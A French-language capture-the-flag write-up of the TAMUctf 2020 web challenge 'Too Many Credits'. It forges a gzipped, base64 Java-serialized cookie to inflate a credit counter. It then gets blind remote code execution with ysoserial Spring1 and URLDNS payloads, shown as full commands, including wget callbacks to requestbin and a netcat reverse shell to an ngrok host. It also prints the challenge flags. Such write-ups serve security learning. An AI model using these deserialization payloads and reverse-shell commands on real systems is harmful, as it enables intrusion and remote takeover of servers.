TAMUctf 2020 : Too Many Credits
Détails du challenge
| Event | Challenge | Category | Points | Solves |
|---|---|---|---|---|
| TAMUctf 2020 | Too Many Credits | Web | 432 | 71 |
Description
Bon, d’accord, il y a beaucoup de systèmes de crédits. On a dû mettre ce gars au repos ; on s’inquiète sérieusement pour lui.
Enfin bref. On en a fait un vraiment sécurisé cette fois, avec Java, pas du sale JS. Tu veux tenter le coup ?
Si tu obtiens encore deux milliards de crédits, eh bien, on n’aura plus qu’à arrêter ce programme.
Même si tu arrivais à obtenir le premier flag, je parie que tu n’arriveras pas à obtenir un shell !
http://toomanycredits.tamuctf.com
TL;DR
Too Many Credits était un challenge web comportant une vulnérabilité de deserialization d’objet Java non sécurisée. Cela a abouti à un blind RCE grâce à ysoserial.
Découverte de la vulnérabilité
S’agissant d’un challenge web, je me suis rendu sur l’URL fournie à l’aide d’un navigateur web ; la page d’index ressemblait à ceci :
Lorsqu’on clique sur le bouton, une requête est envoyée et le crédit est incrémenté de un. En observant les requêtes, on ne récupère aucun paramètre. En revanche, notre cookie change à chaque requête :
- Counter: “H4sIAAA…5KDUls6QYg87NT0nN0XMG85zzS/NKjDhvC4lwqrgzMTB6MbCWJeaUplYUMEAAIwCwY0JiUgAAAA==”
- Counter: “H4sIAAA…5KDUls6QYg87NT0nN0XMG85zzS/NKjDhvC4lwqrgzMTB6MbCWJeaUplYUMEAAEwAKMkv7UgAAAA==”
Le cookie « Counter » ressemble à des données encodées en base64. Décodons-le :
echo "H4sIAAAAAAAAAFvzloG1uIhBNzk/Vy+5KDUls6QYg87NT0nN0XMG85zzS/NKjDhvC4lwqrgzMTB6MbCWJeaUplYUMEAAIwCwY0JiUgAAAA==" | base64 -d
[��A79?W/�(5%�����OI��s��K�J�8o
�p��310z1��%攦V0@#�cBbR
… Peut-être que les données sont compressées ? Essayons une compression gzip (à noter que si vous essayez de modifier votre cookie avec une valeur aléatoire, vous obtenez une erreur gzip sur le site web). J’ai décidé d’utiliser gzip/gunzip :
echo "H4sIAAAAAAAAAFvzloG1uIhBNzk/Vy+5KDUls6QYg87NT0nN0XMG85zzS/NKjDhvC4lwqrgzMTB6MbCWJeaUplYUMEAAIwCwY0JiUgAAAA==" | base64 -d | gunzip
��sr-com.credits.credits.credits.model.CreditCount2 � $GJvaluexp
Bingo ! On dirait un objet Java sérialisé. Voyons la différence entre nos deux premiers cookies. Comme nous avons des caractères non imprimables, j’ai décidé d’obtenir la vue hexadécimale de chaque donnée à l’aide de xxd :
echo "H4sIAAAAAAAAAFvzloG1uIhBNzk/Vy+5KDUls6QYg87NT0nN0XMG85zzS/NKjDhvC4lwqrgzMTB6MbCWJeaUplYUMEAAIwCwY0JiUgAAAA==" | base64 -d | gunzip | xxd > c1.raw
echo "H4sIAAAAAAAAAFvzloG1uIhBNzk/Vy+5KDUls6QYg87NT0nN0XMG85zzS/NKjDhvC4lwqrgzMTB6MbCWJeaUplYUMEAAEwAKMkv7UgAAAA==" | base64 -d | gunzip | xxd > c2.raw
cat c1.raw c2.raw
00000000: aced 0005 7372 002d 636f 6d2e 6372 6564 ....sr.-com.cred
00000010: 6974 732e 6372 6564 6974 732e 6372 6564 its.credits.cred
00000020: 6974 732e 6d6f 6465 6c2e 4372 6564 6974 its.model.Credit
00000030: 436f 756e 7432 09db 1214 0924 4702 0001 Count2.....$G...
00000040: 4a00 0576 616c 7565 7870 0000 0000 0000 J..valuexp......
00000050: 0001 ..
00000000: aced 0005 7372 002d 636f 6d2e 6372 6564 ....sr.-com.cred
00000010: 6974 732e 6372 6564 6974 732e 6372 6564 its.credits.cred
00000020: 6974 732e 6d6f 6465 6c2e 4372 6564 6974 its.model.Credit
00000030: 436f 756e 7432 09db 1214 0924 4702 0001 Count2.....$G...
00000040: 4a00 0576 616c 7565 7870 0000 0000 0000 J..valuexp......
00000050: 0002
Voir c1.raw & c2.raw
Les cookies sont similaires à l’exception du dernier octet : on a 01 pour notre premier cookie (quand on n’avait qu’1 crédit) et 02 pour notre second cookie (quand on avait 2 crédits).
Exploitation de la vulnérabilité
Le challenge dit « Si tu obtiens encore deux milliards de crédits, eh bien, on n’aura plus qu’à arrêter ce programme. ». Les 8 derniers octets semblent stocker notre crédit ; créons un cookie avec deux milliards de crédits comme mentionné dans la description :
python3 -c "print(hex(200000000))"
0xbebc200
Nos 8 derniers octets seront 0000 0000 0beb c200.
Il suffit de sauvegarder votre cookie sans la commande xxd et d’utiliser un éditeur hexadécimal (comme hexedit ou un éditeur en ligne comme hexed.it)
echo "H4sIAAAAAAAAAFvzloG1uIhBNzk/Vy+5KDUls6QYg87NT0nN0XMG85zzS/NKjDhvC4lwqrgzMTB6MbCWJeaUplYUMEAAIwCwY0JiUgAAAA==" | base64 -d | gunzip > cookie.raw
hexedit cookie.raw
Maintenant, encodez votre nouveau cookie avec gzip et base64 :
cat cookie.raw | gzip | base64 -w 0
Note : j’utilise l’option -w 0 pour éviter les retours à la ligne dans le base64
H4sIAAAAAAAAA1vzloG1uIhBNzk/Vy+5KDUls6QYg87NT0nN0XMG85zzS/NKjDhvC4lwqrgzMTB6MbCWJeaUplYUMAAB9+tDDACqXj+eUgAAAA==
Remplaçons notre cookie dans notre navigateur, et…
You have 200000001 credits. You haven’t won yet…
Ok, pas assez, la description est fausse ! Essayons avec une énorme valeur comme 0000 efff ffff ffff !
Voir [cookie.raw](/files/tamuctf_2020/too_many_credits/cookie.raw)
Encodons-le à nouveau…
cat cookie.raw | gzip | base64 -w 0
H4sIAAAAAAAAA1vzloG1uIhBNzk/Vy+5KDUls6QYg87NT0nN0XMG85zzS/NKjDhvC4lwqrgzMTB6MbCWJeaUplYUMDC8/w8CAB4diOZSAAAA
Remplacez le cookie counter par cette valeur. Et…
On a le premier flag !
gigem{l0rdy_th15_1s_mAny_cr3d1ts}
Tentative d’exécution de commande
Comme mentionné dans la description du challenge : Même si tu arrivais à obtenir le premier flag, je parie que tu n’arriveras pas à obtenir un shell !. On cherche donc un shell.
Première tentative
L’outil le plus connu pour exploiter la deserialization d’objet Java non sécurisée est ysoserial. En regardant le « favicon » du site web, on peut deviner que le site utilise la technologie Spring. Spring fournit également des gadgets utilisés par ysoserial pour construire des ROPchain Java (voir Spring1 et Spring2 dans l’aide de ysoserial).
Après quelques tests avec ysoserial et du bruteforcing de payloads en python, je n’ai pas réussi à exécuter une commande sur le serveur (même un simple sleep n’a pas fonctionné pour moi).
Persévérer
J’ai décidé de tester l’extension Burp : Java Deserialization Scanner.
J’ai donc lancé le scanner : clic droit sur la requête du proxy, envoi vers "DS - Manual testing", sélection du cookie et "Set Insertion Point", puis clic sur "Attack (Base64Gzip)". Vous pouvez aussi utiliser le module scanner dans l’onglet Target.
Résultat :
Le payload Spring « Sleep » semble fonctionner ! Peut-être est-ce un faux positif puisque je n’ai pas réussi à obtenir une commande sleep avec ysoserial ? J’ai décidé de creuser dans les options du plugin et j’ai sélectionné "DNS" pour les tests d’exfiltration :
Résultat :
D’après le plugin, l’exfiltration DNS via Spring semble fonctionner aussi !
Quelques recherches
Comme je ne savais pas si les requêtes TCP étaient bloquées ou non, j’ai décidé de déclencher une simple requête DNS (UDP).
Après quelques recherches, j’ai trouvé ce blog qui utilise le payload URLDNS de ysoserial pour effectuer une requête DNS. J’ai décidé de l’utiliser car le code est assez court et il pourrait y avoir une limite de taille sur le serveur.
Note : je n’ai pas réussi à faire fonctionner le payload URLDNS au début car URLDNS ne demande pas une commande en paramètre mais un domaine.
Pour écouter les requêtes DNS, vous pouvez soit utiliser votre propre VPS, soit un outil comme ngrok, soit un service web comme DNSBin. J’ai décidé d’utiliser ce dernier et j’ai créé mon endpoint : *.3a312e6656771abaf0d7.d.requestbin.net.
Note : j’ai dû désactiver mon proxy car burp échouait avec le websocket de requestbin.
Générons notre payload avec ysoserial :
ysoserial URLDNS "http://TEST.3a312e6656771abaf0d7.d.requestbin.net" | gzip | base64 -w 0
H4sIAAAAAAAAA42OMU7DQBBFBxwrDkoBFBT0NBRrTIQtQQESIsKSaUjomcTr7KKVd7MeE9NwDE7BJRAnoKWm5QZIsI58AEaa0Zviv5nXb/ArCzsP+IisJqnYNVbiBo3f/3x737v/8GBzDFtKYz7GOWmbwoCE5ZXQKm/M+QW0NVwFbm673nCy4VpWcmJ3t9nLQRLv/3xZD/opBMLJL3XOU+gZbSmDAdYktJX0RLCbtcFQYbkIJ2RluTjLoFdIxZfwDJ5joSvqODBWk55r1e2e5cUaG/PbFcHh9GoyZSMcRcc8jk/iJIlwhsVRnrCcWb6seUUzWba/EkAb98ldITKmIYhaOA3D/0uaPw/LxeVPAQA
J’ai changé mon cookie, rechargé, et…
Ok, on a donc une exfiltration DNS avec ysoserial !
😊.
Blind Remote Code Execution
J’ai décidé d’essayer une résolution DNS avec la commande wget et les payloads Spring. J’ai commencé avec Spring1.
ysoserial Spring1 "wget http://TEST2.3a312e6656771abaf0d7.d.requestbin.net" | gzip | base64 -w 0
Puis on charge le base64 comme cookie « Counter », on recharge, et…
Ok, on a maintenant la preuve qu’une résolution DNS est effectuée via wget. On va désormais vérifier si on peut effectuer une requête web HTTP avec wget. Pour cela, j’ai mis en place un endpoint requestbin :
http://requestbin.net/r/1i6494x1.
Essayons notre requête web :
ysoserial Spring1 "wget http://requestbin.net/r/1i6494x1?test=test1" | gzip | base64 -w 0
Puis on charge le base64 comme cookie « Counter », on recharge, et…
On a la preuve que les requêtes web fonctionnent. On est proche du reverse shell ; j’ai décidé de tenter un reverse shell avec netcat sur la cible et un listener ngrok sur mon ordinateur (car tout le monde n’a pas forcément de VPS).
D’abord, configurons le listener :
ngrok tcp 1337
nc -lvp 1337 # in an other terminal
Dans le terminal ngrok, j’ai obtenu : tcp://0.tcp.ngrok.io:13738 -> localhost:1337 ce qui signifie que les données envoyées à ngrok sur le port 13738 sont redirigées vers mon ordinateur sur le port 1337.
Je vais utiliser le payload de reverse shell netcat suivant :
nc <IP> <PORT> -e /bin/bash
Pour moi ce sera mon endpoint ngrok avec le port 13738 :
nc 0.tcp.ngrok.io 13738 -e /bin/bash
Le payload devrait se connecter à mon ngrok et exécuter le binaire bash à travers ce socket.
Maintenant, construisons notre objet avec ysoserial :
ysoserial Spring1 "nc 0.tcp.ngrok.io 13738 -e /bin/bash" | gzip | base64 -w 0
On charge le base64 comme cookie « Counter », on recharge, et… on a un shell !
Note : on obtient l’utilisateur credits dans le dossier /opt/credits-1.0.0-SNAPSHOT avec un fichier nommé flag.txt dans le dossier courant.
Flag 2 : gigem{da$h_3_1s_A_l1f3seNd}
Flags
gigem{l0rdy_th15_1s_mAny_cr3d1ts}
gigem{da$h_3_1s_A_l1f3seNd}
C’était un chouette challenge. Je suis resté bloqué au début de la partie 2 à cause du blind RCE et du fait que même la commande sleep ne fonctionnait pas pour moi, c’est pourquoi j’ai décidé de creuser plus profondément.